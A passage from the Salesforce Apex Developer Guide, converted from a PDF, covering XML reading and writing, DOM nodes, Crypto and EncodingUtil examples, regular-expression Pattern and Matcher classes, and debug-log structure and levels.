'<book author="Sassy">Baz</book></books>';
XmlStreamReader reader = new XmlStreamReader(str);

XmlStreamReaderDemo.Book[] books = demo.parseBooks(reader);
System.debug(books.size());
for (XmlStreamReaderDemo.Book book : books) {

System.debug(book);
}
}
}
SEE ALSO:
XmlStreamReader Class
Writing XML Using Streams

The XmlStreamWriter class methods enable the writing of XML data.
Those methods are used in conjunction with HTTP callouts to construct an XML document to send in the callout request to an external
service. The following example shows how to instantiate a new XmlStreamReader object:
String xmlString = '<books><book>My Book</book><book>Your Book</book></books>';
XmlStreamReader xsr = new XmlStreamReader(xmlString);
XML Writer Methods Example

The following example writes an XML document and tests its validity.
This Hello World sample requires custom objects. You can either create these on your own, or download the objects and Apex code as
an unmanaged package from the Salesforce AppExchange. To obtain the sample assets in your org, install the Apex Tutorials Package.
This package also contains sample code and objects for the Shipping Invoice example.
public class XmlWriterDemo {
public String getXml() {

XmlStreamWriter w = new XmlStreamWriter();
w.writeStartDocument(null, '1.0');
w.writeProcessingInstruction('target', 'data');
w.writeStartElement('m', 'Library', 'http://www.book.com');
w.writeNamespace('m', 'http://www.book.com');
w.writeComment('Book starts here');
w.setDefaultNamespace('http://www.defns.com');
w.writeCData('<Cdata> I like CData </Cdata>');
w.writeStartElement(null, 'book', null);
w.writedefaultNamespace('http://www.defns.com');
w.writeAttribute(null, null, 'author', 'Manoj');
w.writeCharacters('This is my book');
w.writeEndElement(); //end book
w.writeEmptyElement(null, 'ISBN', null);
527
w.writeEndElement(); //end library

w.writeEndDocument();
String xmlOutput = w.getXmlString();
w.close();
return xmlOutput;
}
}
@isTest
private class XmlWriterDemoTest {
static TestMethod void basicTest() {
XmlWriterDemo demo = new XmlWriterDemo();
String result = demo.getXml();
String expected = '<?xml version="1.0"?><?target data?>' +
'<m:Library xmlns:m="http://www.book.com">' +
'' +
'<![CDATA[<Cdata> I like CData </Cdata>]]>' +
'<book xmlns="http://www.defns.com" author="Manoj">This is my
book</book><ISBN/></m:Library>';
System.assert(result == expected);
}
}
SEE ALSO:
XmlStreamWriter Class

Apex provides classes that enable you to work with XML content using the DOM (Document Object Model).
DOM classes help you parse or generate XML content. You can use these classes to work with any XML content. One common application
is to use the classes to generate the body of a request created by HttpRequest or to parse a response accessed by HttpResponse. The
DOM represents an XML document as a hierarchy of nodes. Some nodes may be branch nodes and have child nodes, while others are
leaf nodes with no children. You can parse nested XML content that’s up to 50 nodes deep.
The DOM classes are contained in the Dom namespace.
Use the Document Class to process the content in the body of the XML document.
Use the XmlNode Class to work with a node in the XML document.
Use the Document Class class to process XML content. One common application is to use it to create the body of a request for HttpRequest
or to parse a response accessed by HttpResponse.
XML Namespaces
An XML namespace is a collection of names identified by a URI reference and used in XML documents to uniquely identify element types
and attribute names. Names in XML namespaces may appear as qualified names, which contain a single colon, separating the name
into a namespace prefix and a local part. The prefix, which is mapped to a URI reference, selects a namespace. The combination of the
universally managed URI namespace and the document's own namespace produces identifiers that are universally unique.
The following XML element has a namespace of http://my.name.space and a prefix of myprefix.
<sampleElement xmlns:myprefix="http://my.name.space" />
528
In the following example, the XML element has two attributes:

• The first attribute has a key of dimension; the value is 2.
• The second attribute has a key namespace of http://ns1; the value namespace is http://ns2; the key is foo; the value
is bar.
<square dimension="2" ns1:foo="ns2:bar" xmlns:ns1="http://ns1" xmlns:ns2="http://ns2" />
Document Example
For the purposes of the sample below, assume that the url argument passed into the parseResponseDom method returns this
XML response:
<address>
<name>Kirk Stevens</name>
<street1>808 State St</street1>
<street2>Apt. 2</street2>
<city>Palookaville</city>
<state>PA</state>
<country>USA</country>
</address>
The following example illustrates how to use DOM classes to parse the XML response returned in the body of a GET request:
public class DomDocument {
// Pass in the URL for the request

// For the purposes of this sample,assume that the URL
// returns the XML shown above in the response body
public void parseResponseDom(String url){
// url that returns the XML in the response body
Dom.Document doc = res.getBodyDocument();
//Retrieve the root element for this document.

Dom.XMLNode address = doc.getRootElement();
String name = address.getChildElement('name', null).getText();

String state = address.getChildElement('state', null).getText();
// print out specific elements
System.debug('Name: ' + name);
System.debug('State: ' + state);
// Alternatively, loop through the child elements.

// This prints out all the elements of the address
for(Dom.XMLNode child : address.getChildElements()) {
System.debug(child.getText());
}
}
}
529
Using XML Nodes

Use the XmlNode class to work with a node in an XML document. The DOM represents an XML document as a hierarchy of nodes.
Some nodes may be branch nodes and have child nodes, while others are leaf nodes with no children.
There are different types of DOM nodes available in Apex. XmlNodeType is an enum of these different types. The values are:
• COMMENT
• ELEMENT
• TEXT
It is important to distinguish between elements and nodes in an XML document. The following is a simple XML example:
<name>
<firstName>Suvain</firstName>
<lastName>Singh</lastName>
</name>
This example contains three XML elements: name, firstName, and lastName. It contains five nodes: the three name, firstName,
and lastName element nodes, as well as two text nodes—Suvain and Singh. Note that the text within an element node is
considered to be a separate text node.
For more information about the methods shared by all enums, see Enum Methods.
XmlNode Example
This example shows how to use XmlNode methods and namespaces to create an XML request.
public class DomNamespaceSample
{
public void sendRequest(String endpoint)
{
// Create the request envelope
DOM.Document doc = new DOM.Document();
String soapNS = 'http://schemas.xmlsoap.org/soap/envelope/';

String xsi = 'http://www.w3.org/2001/XMLSchema-instance';
String serviceNS = 'http://www.myservice.com/services/MyService/';
dom.XmlNode envelope
= doc.createRootElement('Envelope', soapNS, 'soapenv');
envelope.setNamespace('xsi', xsi);
envelope.setAttributeNS('schemaLocation', soapNS, xsi, null);
dom.XmlNode body
= envelope.addChildElement('Body', soapNS, null);
body.addChildElement('echo', serviceNS, 'req').

addChildElement('category', serviceNS, null).
addTextNode('classifieds');
// Send the request

req.setMethod('POST');
530
req.setHeader('Content-Type', 'text/xml');
req.setBodyDocument(doc);

HttpResponse res = http.send(req);
dom.Document resDoc = res.getBodyDocument();
envelope = resDoc.getRootElement();
String wsa = 'http://schemas.xmlsoap.org/ws/2004/08/addressing';
dom.XmlNode header = envelope.getChildElement('Header', soapNS);

System.assert(header != null);
String messageId
= header.getChildElement('MessageID', wsa).getText();
System.debug(messageId);
System.debug(resDoc.toXmlString());
System.debug(resDoc);
System.debug(header);
'http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous',
header.getChildElement(
'ReplyTo', wsa).getChildElement('Address', wsa).getText());
envelope.getChildElement('Body', soapNS).
getChildElement('echo', serviceNS).
getChildElement('something', 'http://something.else').
getChildElement(
'whatever', serviceNS).getAttribute('bb', null),
'cc');
System.assertEquals('classifieds',
envelope.getChildElement('Body', soapNS).
getChildElement('echo', serviceNS).
getChildElement('category', serviceNS).getText());
}
}
SEE ALSO:
Document Class
531
Securing Your Data

You can secure your data by using the methods provided by the Crypto class.
The methods in the Crypto class provide standard algorithms for creating digests, message authentication codes, and signatures, as
well as encrypting and decrypting information. These can be used for securing content in Force.com, or for integrating with external
services such as Google or Amazon WebServices (AWS).
Example Integrating Amazon WebServices

The following example demonstrates an integration of Amazon WebServices with Salesforce:
public class HMacAuthCallout {
public void testAlexaWSForAmazon() {
// The date format is yyyy-MM-dd'T'HH:mm:ss.SSS'Z'

DateTime d = System.now();
String timestamp = ''+ d.year() + '-' +
d.month() + '-' +
d.day() + '\'T\'' +
d.hour() + ':' +
d.minute() + ':' +
d.second() + '.' +
d.millisecond() + '\'Z\'';
String timeFormat = d.formatGmt(timestamp);
String urlEncodedTimestamp = EncodingUtil.urlEncode(timestamp, 'UTF-8');

String action = 'UrlInfo';
String inputStr = action + timeFormat;
String algorithmName = 'HMacSHA1';
Blob mac = Crypto.generateMac(algorithmName, Blob.valueOf(inputStr),
Blob.valueOf('your_signing_key'));
String macUrl = EncodingUtil.urlEncode(EncodingUtil.base64Encode(mac), 'UTF-8');
String urlToTest = 'amazon.com';

String version = '2005-07-11';
String endpoint = 'http://awis.amazonaws.com/';
String accessKey = 'your_key';

req.setEndpoint(endpoint +
'?AWSAccessKeyId=' + accessKey +
'&Action=' + action +
'&ResponseGroup=Rank&Version=' + version +
'&Timestamp=' + urlEncodedTimestamp +
'&Url=' + urlToTest +
'&Signature=' + macUrl);
try {
HttpResponse res = http.send(req);
System.debug('STATUS:'+res.getStatus());
System.debug('STATUS_CODE:'+res.getStatusCode());
532
System.debug('BODY: '+res.getBody());
} catch(System.CalloutException e) {
System.debug('ERROR: '+ e);
}
}
}
Example Encrypting and Decrypting

The following example uses the encryptWithManagedIV and decryptWithManagedIV methods, as well as the
generateAesKey method of the Crypto class.
// Use generateAesKey to generate the private key

Blob cryptoKey = Crypto.generateAesKey(256);
// Generate the data to be encrypted.

Blob data = Blob.valueOf('Test data to encrypted');
// Encrypt the data and have Salesforce.com generate the initialization vector
Blob encryptedData = Crypto.encryptWithManagedIV('AES256', cryptoKey, data);
// Decrypt the data

Blob decryptedData = Crypto.decryptWithManagedIV('AES256', cryptoKey, encryptedData);
The following is an example of writing a unit test for the encryptWithManagedIV and decryptWithManagedIV Crypto
methods.
@isTest
private class CryptoTest {
static testMethod void testValidDecryption() {
// Use generateAesKey to generate the private key

Blob key = Crypto.generateAesKey(128);
Blob data = Blob.valueOf('Test data');
// Generate an encrypted form of the data using base64 encoding
String b64Data = EncodingUtil.base64Encode(data);
// Encrypt and decrypt the data
Blob encryptedData = Crypto.encryptWithManagedIV('AES128', key, data);
Blob decryptedData = Crypto.decryptWithManagedIV('AES128', key, encryptedData);
String b64Decrypted = EncodingUtil.base64Encode(decryptedData);
// Verify that the strings still match
System.assertEquals(b64Data, b64Decrypted);
}
static testMethod void testInvalidDecryption() {
// Verify that you must use the same key size for encrypting data
// Generate two private keys, using different key sizes
Blob keyOne = Crypto.generateAesKey(128);
Blob keyTwo = Crypto.generateAesKey(256);
Blob data = Blob.valueOf('Test data');
// Encrypt the data using the first key
Blob encryptedData = Crypto.encryptWithManagedIV('AES128', keyOne, data);
try {
533
// Try decrypting the data using the second key

Crypto.decryptWithManagedIV('AES256', keyTwo, encryptedData);
System.assert(false);
} catch(SecurityException e) {
System.assertEquals('Given final block not properly padded', e.getMessage());
}
}
}
SEE ALSO:
Crypto Class
EncodingUtil Class
Encoding Your Data

You can encode and decode URLs and convert strings to hexadecimal format by using the methods provided by the EncodingUtil
class.
This example shows how to URL encode a timestamp value in UTF-8 by calling urlEncode.
DateTime d = System.now();
String timestamp = ''+ d.year() + '-' +
d.month() + '-' +
d.day() + '\'T\'' +
d.hour() + ':' +
d.minute() + ':' +
d.second() + '.' +
d.millisecond() + '\'Z\'';
System.debug(timestamp);
String urlEncodedTimestamp = EncodingUtil.urlEncode(timestamp, 'UTF-8');
System.debug(urlEncodedTimestamp);
This next example shows how to use convertToHex to compute a client response for HTTP Digest Authentication (RFC2617).
@isTest
private class SampleTest {
static testmethod void testConvertToHex() {
String myData = 'A Test String';
Blob hash = Crypto.generateDigest('SHA1',Blob.valueOf(myData));
String hexDigest = EncodingUtil.convertToHex(hash);
System.debug(hexDigest);
}
}
SEE ALSO:
EncodingUtil Class
Using Patterns and Matchers

Apex provides patterns and matchers that enable you to search text using regular expressions.
534
A pattern is a compiled representation of a regular expression. Patterns are used by matchers to perform match operations on a character
string.
A regular expression is a string that is used to match another string, using a specific syntax. Apex supports the use of regular expressions
through its Pattern and Matcher classes.
Note: In Apex, Patterns and Matchers, as well as regular expressions, are based on their counterparts in Java. See
http://java.sun.com/j2se/1.5.0/docs/api/index.html?java/util/regex/Pattern.html.
Many Matcher objects can share the same Pattern object, as shown in the following illustration:
Many Matcher objects can be created from the same Pattern object
Regular expressions in Apex follow the standard syntax for regular expressions used in Java. Any Java-based regular expression strings
can be easily imported into your Apex code.
Note: Salesforce limits the number of times an input sequence for a regular expression can be accessed to 1,000,000 times. If you
reach that limit, you receive a runtime error.
All regular expressions are specified as strings. Most regular expressions are first compiled into a Pattern object: only the String split
method takes a regular expression that isn't compiled.
Generally, after you compile a regular expression into a Pattern object, you only use the Pattern object once to create a Matcher object.
All further actions are then performed using the Matcher object. For example:
// First, instantiate a new Pattern object "MyPattern"
Pattern MyPattern = Pattern.compile('a*b');
// Then instantiate a new Matcher object "MyMatcher"

Matcher MyMatcher = MyPattern.matcher('aaaaab');
// You can use the system static method assert to verify the match
System.assert(MyMatcher.matches());
If you are only going to use a regular expression once, use the Pattern class matches method to compile the expression and
match a string against it in a single invocation. For example, the following is equivalent to the code above:
Boolean Test = Pattern.matches('a*b', 'aaaaab');
535
IN THIS SECTION:
Using Regions
Using Match Operations
Using Bounds
Understanding Capturing Groups
Pattern and Matcher Example
Using Regions
A Matcher object finds matches in a subset of its input string called a region. The default region for a Matcher object is always the entirety
of the input string. However, you can change the start and end points of a region by using the region method, and you can query
the region's end points by using the regionStart and regionEnd methods.
The region method requires both a start and an end value. The following table provides examples of how to set one value without
setting the other.
Start of the Region End of the Region Code Example

Specify explicitly Leave unchanged
MyMatcher.region(start, MyMatcher.regionEnd());
Leave unchanged Specify explicitly

MyMatcher.region(MyMatcher.regionStart(), end);
Reset to the default Specify explicitly

MyMatcher.region(0, end);
Using Match Operations

A Matcher object performs match operations on a character sequence by interpreting a Pattern.
A Matcher object is instantiated from a Pattern by the Pattern's matcher method. Once created, a Matcher object can be used to
perform the following types of match operations:
• Match the Matcher object's entire input string against the pattern using the matches method
• Match the Matcher object's input string against the pattern, starting at the beginning but without matching the entire region, using
the lookingAt method
• Scan the Matcher object's input string for the next substring that matches the pattern using the find method
Each of these methods returns a Boolean indicating success or failure.
After you use any of these methods, you can find out more information about the previous match, that is, what was found, by using the
following Matcher class methods:
• end: Once a match is made, this method returns the position in the match string after the last character that was matched.
• start: Once a match is made, this method returns the position in the string of the first character that was matched.
• group: Once a match is made, this method returns the subsequence that was matched.
536
Using Bounds
By default, a region is delimited by anchoring bounds, which means that the line anchors (such as ^ or $) match at the region boundaries,
even if the region boundaries have been moved from the start and end of the input string. You can specify whether a region uses
anchoring bounds with the useAnchoringBounds method. By default, a region always uses anchoring bounds. If you set
useAnchoringBounds to false, the line anchors match only the true ends of the input string.
By default, all text located outside of a region is not searched, that is, the region has opaque bounds. However, using transparent bounds
it is possible to search the text outside of a region. Transparent bounds are only used when a region no longer contains the entire input
string. You can specify which type of bounds a region has by using the useTransparentBounds method.
Suppose you were searching the following string, and your region was only the word “STRING”:
This is a concatenated STRING of cats and dogs.
If you searched for the word “cat”, you wouldn't receive a match unless you had transparent bounds set.
Understanding Capturing Groups

During a matching operation, each substring of the input string that matches the pattern is saved. These matching substrings are called
capturing groups.
Capturing groups are numbered by counting their opening parentheses from left to right. For example, in the regular expression string
((A)(B(C))), there are four capturing groups:
1. ((A)(B(C)))
2. (A)
3. (B(C))
4. (C)
Group zero always stands for the entire expression.
The captured input associated with a group is always the substring of the group most recently matched, that is, that was returned by
one of the Matcher class match operations.
If a group is evaluated a second time using one of the match operations, its previously captured value, if any, is retained if the second
evaluation fails.
Pattern and Matcher Example

The Matcher class end method returns the position in the match string after the last character that was matched. You would use this
when you are parsing a string and want to do additional work with it after you have found a match, such as find the next match.
In regular expression syntax, ? means match once or not at all, and + means match 1 or more times.
In the following example, the string passed in with the Matcher object matches the pattern since (a(b)?) matches the string 'ab'
- 'a' followed by 'b' once. It then matches the last 'a' - 'a' followed by 'b' not at all.
pattern myPattern = pattern.compile('(a(b)?)+');
matcher myMatcher = myPattern.matcher('aba');
System.assert(myMatcher.matches() && myMatcher.hitEnd());
// We have two groups: group 0 is always the whole pattern, and group 1 contains
// the substring that most recently matched--in this case, 'a'.
// So the following is true:
System.assert(myMatcher.groupCount() == 2 &&
537
myMatcher.group(0) == 'aba' &&

myMatcher.group(1) == 'a');
// Since group 0 refers to the whole pattern, the following is true:
System.assert(myMatcher.end() == myMatcher.end(0));
// Since the offset after the last character matched is returned by end,
// and since both groups used the last input letter, that offset is 3
// Remember the offset starts its count at 0. So the following is also true:
System.assert(myMatcher.end() == 3 &&
myMatcher.end(0) == 3 &&
myMatcher.end(1) == 3);
In the following example, email addresses are normalized and duplicates are reported if there is a different top-level domain name or
subdomain for similar email addresses. For example, john@fairway.smithco is normalized to john@smithco.
class normalizeEmailAddresses{
public void hasDuplicatesByDomain(Lead[] leads) {

// This pattern reduces the email address to 'john@smithco'
// from 'john@*.smithco.com' or 'john@smithco.*'
Pattern emailPattern = Pattern.compile('(?<=@)((?![\\w]+\\.[\\w]+$)
[\\w]+\\.)|(\\.[\\w]+$)');
// Define a set for emailkey to lead:
Map<String,Lead> leadMap = new Map<String,Lead>();
for(Lead lead:leads) {
// Ignore leads with a null email
if(lead.Email != null) {
// Generate the key using the regular expression
String emailKey = emailPattern.matcher(lead.Email).replaceAll('');
// Look for duplicates in the batch

if(leadMap.containsKey(emailKey))
lead.email.addError('Duplicate found in batch');
else {
// Keep the key in the duplicate key custom field
lead.Duplicate_Key__c = emailKey;
leadMap.put(emailKey, lead);
}
}
}
// Now search the database looking for duplicates
for(Lead[] leadsCheck:[SELECT Id, duplicate_key__c FROM Lead WHERE
duplicate_key__c IN :leadMap.keySet()]) {
for(Lead lead:leadsCheck) {
// If there's a duplicate, add the error.
if(leadMap.containsKey(lead.Duplicate_Key__c))
leadMap.get(lead.Duplicate_Key__c).email.addError('Duplicate found
in salesforce(Id: ' + lead.Id + ')');

}
}
538
Apex Developer Guide Debugging, Testing, and Deploying Apex
}
}
SEE ALSO:
Pattern Class
Matcher Class
Debugging, Testing, and Deploying Apex

Develop your Apex code in a sandbox and debug it with the Developer Console and debug logs. Unit-test your code, then distribute it
to customers using packages.
IN THIS SECTION:
Debugging Apex
Apex provides debugging support. You can debug your Apex code using the Developer Console and debug logs.
Testing Apex
Apex provides a testing framework that allows you to write unit tests, run your tests, check test results, and have code coverage
results.
Deploying Apex
You can't develop Apex in your Salesforce production org. Your development work is done in either a sandbox or a Developer Edition
org.
Distributing Apex Using Managed Packages
As an ISV or Salesforce partner, you can distribute Apex code to customer organizations using packages. Here we'll describe packages
and package versioning.
Debugging Apex
Apex provides debugging support. You can debug your Apex code using the Developer Console and debug logs.
To aid debugging in your code, Apex supports exception statements and custom exceptions. Also, Apex sends emails to developers for
unhandled exceptions.
IN THIS SECTION:
1. Debug Log
2. Exceptions in Apex
Debug Log
A debug log can record database operations, system processes, and errors that occur when executing a transaction or running unit tests.
Debug logs can contain information about:
• Database changes
• HTTP callouts
• Apex errors
539
Apex Developer Guide Debugging Apex
• Resources used by Apex

• Automated workflow processes, such as:
– Workflow rules
– Assignment rules
– Approval processes
– Validation rules
Note: The debug log does not include information from actions triggered by time-based workflows.
You can retain and manage debug logs for specific users, including yourself, and for classes and triggers. Setting class and trigger trace
flags doesn’t cause logs to be generated or saved. Class and trigger trace flags override other logging levels, including logging levels set
by user trace flags, but they don’t cause logging to occur. If logging is enabled when classes or triggers execute, logs are generated at
the time of execution.
To view a debug log, from Setup, enter Debug Logs in the Quick Find box, then select Debug Logs. Then click View next to
the debug log that you want to examine. Click Download to download the log as an XML file.
The following are the limits for debug logs.
• Each debug log must be 2 MB or smaller. Debug logs that are larger than 2 MB are reduced in size by removing older log lines, such
as log lines for earlier System.debug statements. The log lines can be removed from any location, not just the start of the debug
log.
• Debug logs are retained for 7 days.
• If you generate more than 250 MB of debug logs in a 15-minute window, your trace flags are disabled. We send an email to the
users who last modified the trace flags, informing them that they can re-enable the trace flag in 15 minutes.
Inspecting the Debug Log Sections

After you generate a debug log, the type and amount of information listed depends on the filter values you set for the user. However,
the format for a debug log is always the same.
Note: Session IDs are replaced with "SESSION_ID_REMOVED" in Apex debug logs
A debug log has the following sections.

Header
The header contains the following information.
• The version of the API used during the transaction.
• The log category and level used to generate the log. For example:
The following is an example of a header.
41.0
APEX_CODE,DEBUG;APEX_PROFILING,INFO;CALLOUT,INFO;DB,INFO;SYSTEM,DEBUG;VALIDATION,INFO;VISUALFORCE,INFO;
WORKFLOW,INFO
In this example, the API version is 41.0, and the following debug log categories and levels have been set.
Apex Code DEBUG
Apex Profiling INFO
Callout INFO
540
Database INFO
System DEBUG
Validation INFO
Visualforce INFO
Workflow INFO
Execution Units
An execution unit is equivalent to a transaction. It contains everything that occurred within the transaction. EXECUTION_STARTED
and EXECUTION_FINISHED delimit an execution unit.
Code Units
A code unit is a discrete unit of work within a transaction. For example, a trigger is one unit of code, as is a webservice method
or a validation rule.
Note: A class is not a discrete unit of code.
CODE_UNIT_STARTED and CODE_UNIT_FINISHED delimit units of code. Units of work can embed other units of work.
For example:
EXECUTION_STARTED
CODE_UNIT_STARTED|[EXTERNAL]execute_anonymous_apex
CODE_UNIT_STARTED|[EXTERNAL]MyTrigger on Account trigger event BeforeInsert for [new]
CODE_UNIT_FINISHED <-- The trigger ends
CODE_UNIT_FINISHED <-- The executeAnonymous ends
EXECUTION_FINISHED
Units of code include, but are not limited to, the following:
• Triggers
• Workflow invocations and time-based workflow
• Validation rules
• Approval processes
• Apex lead convert
• @future method invocations
• Web service invocations
• executeAnonymous calls
• Visualforce property accesses on Apex controllers
• Visualforce actions on Apex controllers
• Execution of the batch Apex start and finish methods, and each execution of the execute method
• Execution of the Apex System.Schedule execute method
• Incoming email handling
Log Lines
Log lines are included inside units of code and indicate which code or rules are being executed. Log lines can also be messages
written to the debug log. For example:
541
Log lines are made up of a set of fields, delimited by a pipe (|). The format is:
• timestamp: Consists of the time when the event occurred and a value between parentheses. The time is in the user’s time zone
and in the format HH:mm:ss.SSS. The value in parentheses represents the time elapsed in nanoseconds since the start of
the request. The elapsed time value is excluded from logs reviewed in the Developer Console when you use the Execution Log
view. However, you can see the elapsed time when you use the Raw Log view. To open the Raw Log view, from the Developer
Console’s Logs tab, right-click the name of a log and select Open Raw Log.
• event identifier: Specifies the event that triggered the debug log entry (such as SAVEPOINT_RESET or VALIDATION_RULE).
Also includes any additional information logged with that event, such as the method name or the line and character number
where the code was executed.
More Log Data
In addition, the log contains the following information.
• Cumulative resource usage is logged at the end of many code units. Among these code units are triggers, executeAnonymous,
batch Apex message processing, @future methods, Apex test methods, Apex web service methods, and Apex lead convert.
• Cumulative profiling information is logged once at the end of the transaction and contains information about DML invocations,
expensive queries, and so on. “Expensive” queries use resources heavily.
The following is an example debug log.
37.0 APEX_CODE,FINEST;APEX_PROFILING,INFO;CALLOUT,INFO;DB,INFO;SYSTEM,DEBUG;
VALIDATION,INFO;VISUALFORCE,INFO;WORKFLOW,INFO
Execute Anonymous: System.debug('Hello World!');
16:06:58.18 (18043585)|USER_INFO|[EXTERNAL]|005D0000001bYPN|devuser@example.org|
Pacific Standard Time|GMT-08:00
16:06:58.18 (18348659)|EXECUTION_STARTED
16:06:58.18 (18383790)|CODE_UNIT_STARTED|[EXTERNAL]|execute_anonymous_apex
16:06:58.18 (23822880)|HEAP_ALLOCATE|[72]|Bytes:3
16:06:58.18 (26979574)|HEAP_ALLOCATE|[EXTERNAL]|Bytes:1
16:06:58.18 (27384663)|STATEMENT_EXECUTE|[1]
16:06:58.18 (27414067)|STATEMENT_EXECUTE|[1]
16:06:58.18 (49244886)|USER_DEBUG|[1]|DEBUG|Hello World!
16:06:58.49 (49590539)|CUMULATIVE_LIMIT_USAGE
16:06:58.49 (49590539)|LIMIT_USAGE_FOR_NS|(default)|
Number of SOQL queries: 0 out of 100
542
Number of query rows: 0 out of 50000

Number of SOSL queries: 0 out of 20
Number of DML statements: 0 out of 150
Number of DML rows: 0 out of 10000
Maximum CPU time: 0 out of 10000
Maximum heap size: 0 out of 6000000
Number of callouts: 0 out of 100
Number of Email Invocations: 0 out of 10
Number of future calls: 0 out of 50
Number of queueable jobs added to the queue: 0 out of 50
Number of Mobile Apex push calls: 0 out of 10
16:06:58.49 (49590539)|CUMULATIVE_LIMIT_USAGE_END
16:06:58.18 (52417923)|CODE_UNIT_FINISHED|execute_anonymous_apex
16:06:58.18 (54114689)|EXECUTION_FINISHED
Setting Debug Log Filters for Apex Classes and Triggers

Debug log filtering provides a mechanism for fine-tuning the log verbosity at the trigger and class level. This is especially helpful when
debugging Apex logic. For example, to evaluate the output of a complex process, you can raise the log verbosity for a given class while
turning off logging for other classes or triggers within a single request.
When you override the debug log levels for a class or trigger, these debug levels also apply to the class methods that your class or trigger
calls and the triggers that get executed as a result. All class methods and triggers in the execution path inherit the debug log settings
from their caller, unless they have these settings overridden.
The following diagram illustrates overriding debug log levels at the class and trigger level. For this scenario, suppose Class1 is causing
some issues that you would like to take a closer look at. To this end, the debug log levels of Class1 are raised to the finest granularity.
Class3 doesn't override these log levels, and therefore inherits the granular log filters of Class1. However, UtilityClass has
already been tested and is known to work properly, so it has its log filters turned off. Similarly, Class2 isn't in the code path that causes
a problem, therefore it has its logging minimized to log only errors for the Apex Code category. Trigger2 inherits these log settings
from Class2.
Fine-tuning debug logging for classes and triggers
The following is a pseudo-code example that the diagram is based on.
543
1. Trigger1 calls a method of Class1 and another method of Class2. For example:
trigger Trigger1 on Account (before insert) {
Class1.someMethod();
Class2.anotherMethod();
}
2. Class1 calls a method of Class3, which in turn calls a method of a utility class. For example:
public class Class1 {
public static void someMethod() {
Class3.thirdMethod();
}
}

public static void thirdMethod() {
UtilityClass.doSomething();
}
}
3. Class2 causes a trigger, Trigger2, to be executed. For example:

public static void anotherMethod() {
// Some code that causes Trigger2 to be fired.
}
}
IN THIS SECTION:
Working with Logs in the Developer Console
Debugging Apex API Calls
Debug Log Order of Precedence
Which events are logged depends on various factors. These factors include your trace flags, the default logging levels, your API
header, user-based system log enablement, and the log levels set by your entry points.
SEE ALSO:
Salesforce Help: Set Up Debug Logging
Salesforce Help: View Debug Logs
Working with Logs in the Developer Console

Use the Logs tab in the Developer Console to open debug logs.
544
Logs open in Log Inspector. Log Inspector is a context-sensitive execution viewer that shows the source of an operation, what triggered
the operation, and what occurred afterward. Use this tool to inspect debug logs that include database events, Apex processing, workflow,
and validation logic.
To learn more about working with logs in the Developer Console, see “Log Inspector” in the Salesforce online help.
When using the Developer Console or monitoring a debug log, you can specify the level of information that gets included in the log.
Log category
The type of information logged, such as information from Apex or workflow rules.
Log level
The amount of information logged.
Event type
The combination of log category and log level that specify which events get logged. Each event can log additional information, such
as the line and character number where the event started, fields associated with the event, and duration of the event.
Debug Log Categories

Each debug level includes a debug log level for each of the following log categories. The amount of information logged for each category
depends on the log level.
Log Category Description

Database Includes information about database activity, including every data manipulation language
(DML) statement or inline SOQL or SOSL query.
Workflow Includes information for workflow rules, flows, and processes, such as the rule name and the
actions taken.
Validation Includes information about validation rules, such as the name of the rule and whether the
rule evaluated true or false.
Callout Includes the request-response XML that the server is sending and receiving from an external
web service. Useful when debugging issues related to using Force.com web service API calls
or troubleshooting user access to external objects via an OData adapter for Salesforce Connect.
Apex Code Includes information about Apex code. Can include information such as log messages
generated by DML statements, inline SOQL or SOSL queries, the start and completion of any
triggers, and the start and completion of any test method.
Apex Profiling Includes cumulative profiling information, such as the limits for your namespace and the
number of emails sent.
Visualforce Includes information about Visualforce events, including serialization and deserialization of
the view state or the evaluation of a formula field in a Visualforce page.
System Includes information about calls to all system methods such as the System.debug
method.
Debug Log Levels

Each debug level includes one of the following log levels for each log category. The levels are listed from lowest to highest. Specific
events are logged based on the combination of category and levels. Most events start being logged at the INFO level. The level is
cumulative, that is, if you select FINE, the log also includes all events logged at the DEBUG, INFO, WARN, and ERROR levels.
545
Note: Not all levels are available for all categories. Only the levels that correspond to one or more events are available.
• NONE
• ERROR
• WARN
• INFO
• DEBUG
• FINE
• FINER
• FINEST
Important: Before running a deployment, verify that the Apex Code log level is not set to FINEST. Otherwise, the deployment is
likely to take longer than expected. If the Developer Console is open, the log levels in the Developer Console affect all logs, including
logs created during a deployment.
Debug Event Types

The following is an example of what is written to the debug log. The event is USER_DEBUG. The format is timestamp | event
identifier:
• timestamp: Consists of the time when the event occurred and a value between parentheses. The time is in the user’s time zone and
in the format HH:mm:ss.SSS. The value in parentheses represents the time elapsed in nanoseconds since the start of the request.
The elapsed time value is excluded from logs reviewed in the Developer Console when you use the Execution Log view. However,
you can see the elapsed time when you use the Raw Log view. To open the Raw Log view, from the Developer Console’s Logs tab,
right-click the name of a log and select Open Raw Log.
• event identifier: Specifies the event that triggered the debug log entry (such as SAVEPOINT_RESET or VALIDATION_RULE).
Also includes any additional information logged with that event, such as the method name or the line and character number where
the code was executed.
The following is an example of a debug log line.
Debug Log Line Example
In this example, the event identifier is made up of the following:

• Event name:
USER_DEBUG
• Line number of the event in the code:

[2]
546
• Logging level the System.Debug method was set to:

DEBUG
• User-supplied string for the System.Debug method:

Hello world!
This code snippet triggers the following example of a log line.
Debug Log Line Code Snippet
The following log line is recorded when the test reaches line 5 in the code.
15:51:01.071 (55856000)|DML_BEGIN|[5]|Op:Insert|Type:Invoice_Statement__c|Rows:1
In this example, the event identifier is made up of the following.

• Event name:
DML_BEGIN
• Line number of the event in the code:

[5]
• DML operation type—Insert:

Op:Insert
• Object name:
Type:Invoice_Statement__c
• Number of rows passed into the DML operation:

Rows:1
This table lists the event types that are logged. For each event type, the table shows which fields or other information get logged with
each event, and which combination of log level and category cause an event to be logged.
Event Name Fields or Information Logged with Event Category Level

Logged Logged
BULK_HEAP_ALLOCATE Number of bytes allocated Apex Code FINEST
CALLOUT_REQUEST Line number and request headers Callout INFO and

above
547

Logged Logged
CALLOUT_REQUEST External endpoint and method Callout INFO and
(External object access via OData adapter for above
Salesforce Connect)
CALLOUT_RESPONSE Line number and response body Callout INFO and

above
CALLOUT_RESPONSE Status and status code Callout INFO and

(External object access via OData adapter for above
Salesforce Connect)
CODE_UNIT_FINISHED None Apex Code ERROR and

above
CODE_UNIT_STARTED Line number and code unit name, such as Apex Code ERROR and
MyTrigger on Account trigger event above
BeforeInsert for [new]
CONSTRUCTOR_ENTRY Line number, Apex class ID, and the string Apex Code FINE and
<init>() with the types of parameters, if any, above
between the parentheses
CONSTRUCTOR_EXIT Line number and the string <init>() with the Apex Code FINE and
types of parameters, if any, between the parentheses above
